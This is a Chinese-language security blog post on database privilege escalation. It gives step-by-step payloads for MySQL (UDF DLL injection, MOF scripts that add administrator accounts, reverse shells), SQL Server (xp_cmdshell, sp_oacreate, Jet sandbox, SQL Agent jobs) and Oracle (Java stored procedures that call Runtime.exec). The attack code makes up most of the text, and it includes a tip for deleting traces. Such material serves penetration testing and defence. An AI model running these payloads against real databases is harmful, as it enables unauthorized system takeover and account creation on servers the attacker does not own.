数据库提权

本文最后更新于:2 年前

MySQL数据库提权

提权方式

  • udf提权
  • mof提权
  • 启动项提权
  • 反弹shell提权

udf提权

User Defined Functions,简称UDF,通俗来讲就是用户可自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。 简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。 我们需要将udf.dll文件放入C:\phpStudy\MySQL\lib\plugin,前面路径可能跟我不一样,但是需要做的就是将dll文件放入\lib\plugin目录中。

Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32, 在windows2000下放置于c:\winnt\system32。 如果目录不存在则利用NTFS数据流创建文件目录:

1
2
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; #利用NTFS ADS创建lib目录 
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; #利用NTFS ADS创建plugin目录

提权条件

1)获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句

2)对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件

3)对方mysql是root权限

验证是否可写:show global variables like 'secure%';

secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限。如果secure_file_priv值为空则可写,为指定路径则是指定路径可写,需要全部可写需要在mysql.ini配置文件添加语句即可。

操作过程

1.得到插件库路径:show variables like "%plugin%";

2.找对应操作系统的udf库文件:Windows直接上传,Linux的sqlmap自带。对于Linux系统,先用uname -a查看操作系统位数,再查看动态库路径/pentest/database/sqlmap/udf/mysql/linux/64(假设64位系统),文件名是lib_mysqludf_sys.so

3.放入文件:

1
2
3
4
create table temp(data longblob); #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式')); #将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll"; #将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll'; #创建自定义函数sys_eval

注意,Linux系统可能要加读写权限:chmod 777 /usr/lib/mysql/plugin

查看udf库支持的函数(Linux):nm -D /usr/lib/mysql/plugin/mysqludf.so

4.验证提权是否成功:select sys_eval('命令')

提权常用SQL语句

1
2
3
4
select cmdshell(‘net user hsy 123456 /add’); #添加用户
select cmdshell(‘net localgroup administrators hsy /add’); #将用户加到管理组
drop function sys_eval; #删除函数
DROP TABLE data; #为了删除痕迹,把刚刚新建的data表删掉

mof提权

利用了C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件

利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行。

提权条件

  1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003
  2. C:\Windows\System32\wbem\MOF目录有读写权限。
  3. 可以找到一个可写目录,写入mof文件。

操作过程

  1. 在可写目录中上传mof文件,例如把mof文件上传到C:/wmpub/nullevt.mof
  2. 把这个文件复制到C:/Windows/System32/wbem/MOF/nullevt.mof目录下:
1
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

3.将下面这段代码复制到mof后缀的文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# pragma namespace("\.\root\subscription")

instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new

ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

把这个mof文件上传到目标机中,可以修改代码,进行命令执行。

目前mof提权方法用的比较少,建议使用udf脚本进行MySQL数据库提权。

启动项提权

利用MySQL,将后门写入开机启动项。同时因为是开机自启动,在写入之后,需要重启目标服务器,才可以运行。

反弹shell提权

mysql创建反弹函数:select backshell(’发送到的ip地址’,’端口’),kali使用nc监听本地(攻击机)IP:nc -l(本地)-p 端口

SQL Server和Oracle数据库提权

SQL server数据库提权

  • xp_cmd_shell提权(数据库权限要求是最高的SA权限)
  • sp_oacreate提权
  • 沙盒提权
  • sqlagent.exe提权(数据库权限不要求最高)

xp_cmd_shell提权

mssql2000中默认开启xp_cmd_shell,2005以后默认禁用。

管理员 sysadmin(即sa)权限则可以用 sp_configure 重新开启它。

启用:

1
2
3
4
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;

关闭:

1
2
3
4
exec sp_configure ‘show advanced options’, 1;
reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;
reconfigure;

执行:

1
EXEC master.dbo.xp_cmdshell ‘命令’

如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’

sp_oacreate提权

主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。

启用:

1
2
3
4
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;

关闭:

1
2
3
4
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;

执行:

1
2
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,c:\windows\system32\cmd.exe /c whoami >c:\1.txt’

沙盒提权

mssql自带沙盒,利用沙盒执行命令。
开启沙盒,使用沙盒执行命令:

1
exec sp_configure ‘show advanced options’,1;reconfigure; #不开启的话在执行xp_regwrite 会提示让我们开启

关闭沙盒:

1
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure; #如果一次执行全部代码有问题,先执行这句和上一句代码

查询是否正常关闭:

1
2
3
exec master..xp_regwrite
HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0;
#经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句

执行系统命令:

1
2
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,
‘SandBoxMode’
1
2
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators qianxun /add")')

恢复配置:

1
2
3
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在access模式下

3:完全开启

sqlagent.exe提权

sqlagent.exe是微软Microsoft SQL Server精灵程序,用于计划任务。当服务器出现故障时,该程序可帮助恢复服务器上的数据,不过只有mssql才有这个程序。

拿到webshell以后,我们先执行tasklist /svc命令,查看是否有sqlagent.exe进程在运行。如果有的话,直接用普通用户连接数据库,并执行以下SQL语句:

1
2
3
4
5
6
7
8
9
10
11
12
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec master..xp_cmdshell "要执行的命令> c:\inetpub\wwwroot\results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL', #命令执行结果输出在 c:\inetpub\wwwroot\results.txt,路径可改
@server_name = '目标主机名'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

再执行命令whoami,发现系统权限已变为authority/system,说明提权成功。

Oracle数据库提权

  • 利用Java包提权(数据库权限要求是最高的DBA权限)
  • OracleShell工具提权

利用Java包提权

Oracle提权漏洞集中存在于PL/SQL编写的函数、存储过程、包、触发器中。Oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者权限)。定义者权限给了低权限用户在特定时期拥有高权限的可能,这就给提权操作奠定了基础。

即无论调用者权限如何,执行存储过程的结果权限永远为定义者的权限。因此,如果一个较高权限的用户定义了存储过程,并赋予了低权限用户调用权限,较低权限的用户即可利用这个存储过程提权。

Java具有一组非常强大的标准库,Oracle数据库支持使用Java来编写存储过程,那么攻击者就可以通过这一特性,在系统上执行Java代码,从而完成提权操作。

Oracle执行Java代码的过程(以DBMS_EXPORT_EXTENSION()为例)

1、创建Java库

2、赋予Java权限

3、创建函数

4、赋予函数执行权限

5、执行

首先,在拿到webshell的前提下,先遍历文件目录找到Oracle数据库登录信息,连接数据库后执行SQL语句select * from session_roles查看当前用户权限。如果是DBA权限则可进行以下操作:

1.通过sys.dbms_export_extension()创建Java包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
create or replace and compile
java source named "Util"
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/

2.创建自定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name 'Util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/
variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
grant javasyspriv to CMS
/

3.连接Oracle数据库

1
connect CMS/NSFCMS@(description=(address_list=(address=(protocol=tcp)(host=主机地址)(port=端口)))(connect_data=(SERVICE_NAME=ORACLE)));

4.调用自定义函数执行命令

1
exec : x := RUN_CMD('要执行的命令');

注意这里的命令不能通过webshell执行,而是要通过数据库管理工具(例如SQLplus)执行,所以建议在可以远程连接服务器时使用这种方法。

OracleShell工具提权

除此之外,我们也可以采用自动化工具OracleShell提权Oracle数据库,前提条件也是获取到dba的最高权限权限,并且需要知道SID,通常与账号密码在一起。
可以使用sqlmap检测是否为dbs权限,返回true则为dba权限:

1
sqlmap 数据库类型://用户名:密码@URL/数据库名 --is-dba

后面直接用工具连接即可。


数据库提权
https://rookieterry.github.io/2021/10/27/数据库提权/
作者
HackerTerry
发布于
星期三, 十月 27日 2021, 8:53 晚上
许可协议